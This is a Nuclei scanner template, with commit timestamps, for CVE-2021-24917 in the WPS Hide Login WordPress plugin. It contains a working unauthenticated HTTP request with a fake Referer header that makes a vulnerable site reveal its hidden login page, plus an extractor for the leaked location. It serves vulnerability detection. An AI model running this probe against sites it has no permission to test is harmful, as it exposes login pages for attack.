nuclei-templates/cves/2021/CVE-2021-24917.yaml

44 lines
1.2 KiB
YAML
Raw Normal View History

2022-08-31 19:45:11 +00:00
id: CVE-2021-24917
info:
name: WPS Hide Login < 1.9.1 - Protection Bypass with Referer-Header
author: akincibor
severity: high
2022-08-31 19:45:11 +00:00
description: The plugin has a bug which allows to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user.
reference:
- https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24917
- https://nvd.nist.gov/vuln/detail/CVE-2021-24917
remediation: Fixed in version 1.9.1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-24917
cwe-id: CWE-863
2022-08-31 19:45:11 +00:00
metadata:
verified: "true"
tags: cve2021,wp,wordpress,wp-plugin,unauth,wpscan,cve
2022-08-31 19:45:11 +00:00
requests:
- raw:
- |
GET /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Referer: something
matchers-condition: and
matchers:
- type: word
2022-09-01 10:56:39 +00:00
part: header
2022-08-31 19:45:11 +00:00
words:
- 'redirect_to=%2Fwp-admin%2Fsomething&reauth=1'
2022-09-01 10:56:39 +00:00
2022-08-31 19:45:11 +00:00
- type: dsl
dsl:
2022-08-31 19:47:53 +00:00
- "!contains(tolower(location), 'wp-login.php')"
2022-09-01 10:56:39 +00:00
extractors:
- type: kval
kval:
- location